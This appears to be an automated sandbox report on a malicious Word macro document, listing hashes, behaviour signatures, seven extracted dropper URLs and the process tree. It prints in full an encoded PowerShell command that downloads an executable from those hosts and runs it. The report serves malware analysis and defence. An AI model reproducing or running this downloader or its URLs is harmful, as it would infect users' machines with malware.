Analysis

  • max time kernel
    120s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20/09/2024, 14:28

General

  • Target

    edc97dae3f762b0da37457fb7849b629_JaffaCakes118.doc

  • Size

    159KB

  • MD5

    edc97dae3f762b0da37457fb7849b629

  • SHA1

    23ab7a4114f60c795a460cc5277f758f0416bef0

  • SHA256

    a74eb2487d0be68d65959de76c579a922dcc50550558e02136b60e540b5f5100

  • SHA512

    1c06219f0f3521b77afafc385000f646b8e423d4c1645f1b66a966125ef4b25c8f5344630dc1cf4943652d230dd631eda274d711726a219509f06f21bb50e6b8

  • SSDEEP

    1536:+iaqasrdi1Ir77zOH98Wj2gpngx+a9XxRiqLE8ct2PU7eXKSSxH5ppJxyFWb:+0rfrzOH98ipg/kJxyFWb

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://77yxx.com/b5rh/bZxS/

exe.dropper

http://shahramookht.com/t1k12k7t/8jq/

exe.dropper

http://www.aciitaly.com/adminer-master/gkI/

exe.dropper

https://codelta.es/images/9S35FR/

exe.dropper

https://burstoutloud.com/PPL/Hf/

exe.dropper

https://targetin.com/Silder-1/naK/

exe.dropper

http://dbestfishing.com.sg/67s/wfe/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 10 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\edc97dae3f762b0da37457fb7849b629_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2712
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1880
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABJADMAbAB1AGcAZwB2AD0AKAAnAEUAYgAnACsAKAAnAHUAJwArACcAXwBsAHMAJwApACsAJwB2ACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAGUAcgBwAFIATwBmAEkAbABFAFwAVQBpAEgAaABhAF8AbABcAGYAcQBGAEsAYgBxADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBjAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAHUAUgBJAHQAeQBgAFAAYABSAG8AdABvAGMAYABvAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAnACsAKAAnADIALAAgAHQAJwArACcAbAAnACsAJwBzADEAMQAsACAAJwApACsAKAAnAHQAbAAnACsAJwBzACcAKQApADsAJABGAF8AegB3AGYAcgBrACAAPQAgACgAKAAnAEgAJwArACcAcwByADcAdwAnACsAJwBtACcAKQArACcAaAAnACsAJwBkAHQAJwApADsAJABRAGQANABnAHkAMwBnAD0AKAAnAEgAbwAnACsAJwBnADEAJwArACgAJwAwAHYAJwArACcAeQAnACkAKQA7ACQAQgA1ADEANQB1ADAAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAE8AJwArACcAZwBpAFUAaQAnACkAKwAoACcAaABoAGEAJwArACcAXwAnACkAKwAoACcAbAAnACsAJwBPAGcAaQAnACkAKwAoACcARgBxACcAKwAnAGYAawAnACsAJwBiAHEANABPACcAKQArACcAZwBpACcAKQAgAC0AcgBFAFAAbABhAGMAZQAgACgAJwBPACcAKwAnAGcAaQAnACkALABbAGMAaABBAHIAXQA5ADIAKQArACQARgBfAHoAdwBmAHIAawArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAQQBfAHEAbABiADEANgA9ACgAKAAnAFoAJwArACcAdABfADkAJwApACsAJwBrADAAJwArACcAdQAnACkAOwAkAFMANgBfAG4AbgA3AGEAPQAuACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBFAEIAQwBMAGkARQBOAFQAOwAkAFQAeAAyADMAXwBhAGQAPQAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwADoAJwApACsAKAAnAC8AJwArACcALwA3ACcAKQArACcANwAnACsAKAAnAHkAJwArACcAeAB4ACcAKQArACcALgBjACcAKwAoACcAbwBtAC8AJwArACcAYgAnACkAKwAoACcANQByACcAKwAnAGgALwBiAFoAeABTACcAKwAnAC8AJwApACsAKAAnACoAaAB0AHQAcAAnACsAJwA6ACcAKQArACgAJwAvACcAKwAnAC8AcwAnACkAKwAnAGgAYQAnACsAKAAnAGgAcgAnACsAJwBhAG0AbwBvACcAKwAnAGsAaAB0ACcAKQArACcALgBjACcAKwAoACcAbwBtAC8AdAAnACsAJwAxAGsAJwApACsAKAAnADEAMgBrACcAKwAnADcAJwApACsAJwB0AC8AJwArACgAJwA4ACcAKwAnAGoAcQAvACcAKQArACcAKgBoACcAKwAoACcAdAB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAHcAdwB3AC4AYQBjACcAKwAnAGkAJwArACcAaQAnACsAJwB0AGEAbAAnACkAKwAoACcAeQAnACsAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAJwBhAGQAJwArACcAbQAnACsAKAAnAGkAbgAnACsAJwBlAHIALQBtAGEAcwAnACsAJwB0ACcAKQArACgAJwBlACcAKwAnAHIALwBnAGsAJwApACsAJwBJACcAKwAoACcALwAnACsAJwAqAGgAJwApACsAJwB0AHQAJwArACcAcABzACcAKwAnADoAJwArACgAJwAvAC8AYwAnACsAJwBvACcAKQArACgAJwBkAGUAbAB0ACcAKwAnAGEAJwApACsAJwAuACcAKwAoACcAZQAnACsAJwBzAC8AJwApACsAJwBpACcAKwAoACcAbQAnACsAJwBhAGcAZQBzAC8AJwArACcAOQBTADMANQAnACsAJwBGAFIAJwApACsAJwAvACoAJwArACgAJwBoAHQAdABwAHMAOgAvAC8AYgAnACsAJwB1AHIAJwArACcAcwAnACsAJwB0AG8AdQAnACkAKwAoACcAdAAnACsAJwBsAG8AdQBkACcAKwAnAC4AYwBvAG0ALwBQAFAATAAvAEgAZgAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzADoAJwApACsAKAAnAC8ALwAnACsAJwB0AGEAJwApACsAKAAnAHIAZwAnACsAJwBlAHQAaQAnACsAJwBuAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AUwBpACcAKQArACgAJwBsAGQAZQByAC0AMQAvACcAKwAnAG4AYQAnACsAJwBLAC8AJwArACcAKgBoAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAoACcALwBkACcAKwAnAGIAJwArACcAZQBzAHQAZgBpAHMAJwApACsAKAAnAGgAaQBuACcAKwAnAGcALgBjAG8AbQAnACsAJwAuACcAKwAnAHMAZwAnACkAKwAoACcALwA2ADcAJwArACcAcwAvAHcAJwApACsAKAAnAGYAZQAnACsAJwAvACcAKQApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEEANgB2AHIAXwBhAG8APQAoACgAJwBWACcAKwAnAHQAaABoACcAKQArACgAJwAyACcAKwAnAHYAdQAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEsAdgB4AGkAZAA1AHQAIABpAG4AIAAkAFQAeAAyADMAXwBhAGQAKQB7AHQAcgB5AHsAJABTADYAXwBuAG4ANwBhAC4AIgBEAE8AVwBOAGAATABvAGEAYABkAEYASQBgAEwAZQAiACgAJABLAHYAeABpAGQANQB0ACwAIAAkAEIANQAxADUAdQAwAHIAKQA7ACQARgBpAG0AaQB5AGgAawA9ACgAKAAnAEcAdQAnACsAJwBoACcAKQArACgAJwBmACcAKwAnADQAagB0ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEIANQAxADUAdQAwAHIAKQAuACIAbABlAGAATgBHAHQASAAiACAALQBnAGUAIAAyADYANgA1ADMAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAbwBrAGUAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAoACQAQgA1ADEANQB1ADAAcgApADsAJABaAHoAZABhAGcAcABhAD0AKAAnAFIAJwArACgAJwBzACcAKwAnAHQAdAAnACkAKwAoACcAeQAnACsAJwB0AG8AJwApACkAOwBiAHIAZQBhAGsAOwAkAEMAegBjAHgAbQB1ADUAPQAoACgAJwBSACcAKwAnAGkAcAAnACkAKwAoACcANABqACcAKwAnADAAJwApACsAJwB1ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBuADIANwBxADYAYgA9ACgAJwBJAHgAJwArACgAJwBfADEAMgBuACcAKwAnAHYAJwApACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2684

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      8ba81dd75d14fbc0983c5fd848ba6aa4

      SHA1

      6b20644eac703b885028d0221273077d2395a874

      SHA256

      f1be7f118843c4e5c1121d18e0673e9138f1d9183ac38a188acd8b76613652a4

      SHA512

      c8ab49175149fd67874877d42bcb4d3817dfb0fa909c2aa5a2056be6ba345cfa7aea50cb40633ae837d9fab927689e28cd04619732f12dbb818d18c68189b11e

    • memory/2684-38-0x000000001B0D0000-0x000000001B3B2000-memory.dmp

      Filesize

      2.9MB

    • memory/2684-39-0x0000000002320000-0x0000000002328000-memory.dmp

      Filesize

      32KB

    • memory/2712-32-0x00000000057A0000-0x00000000058A0000-memory.dmp

      Filesize

      1024KB

    • memory/2712-2-0x0000000073A5D000-0x0000000073A68000-memory.dmp

      Filesize

      44KB

    • memory/2712-21-0x00000000057A0000-0x00000000058A0000-memory.dmp

      Filesize

      1024KB

    • memory/2712-26-0x00000000057A0000-0x00000000058A0000-memory.dmp

      Filesize

      1024KB

    • memory/2712-31-0x00000000057A0000-0x00000000058A0000-memory.dmp

      Filesize

      1024KB

    • memory/2712-0-0x000000002FDC1000-0x000000002FDC2000-memory.dmp

      Filesize

      4KB

    • memory/2712-6-0x00000000057A0000-0x00000000058A0000-memory.dmp

      Filesize

      1024KB

    • memory/2712-20-0x00000000057A0000-0x00000000058A0000-memory.dmp

      Filesize

      1024KB

    • memory/2712-40-0x0000000073A5D000-0x0000000073A68000-memory.dmp

      Filesize

      44KB

    • memory/2712-41-0x00000000057A0000-0x00000000058A0000-memory.dmp

      Filesize

      1024KB

    • memory/2712-42-0x0000000005920000-0x0000000005A20000-memory.dmp

      Filesize

      1024KB

    • memory/2712-43-0x00000000057A0000-0x00000000058A0000-memory.dmp

      Filesize

      1024KB

    • memory/2712-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2712-60-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2712-61-0x0000000073A5D000-0x0000000073A68000-memory.dmp

      Filesize

      44KB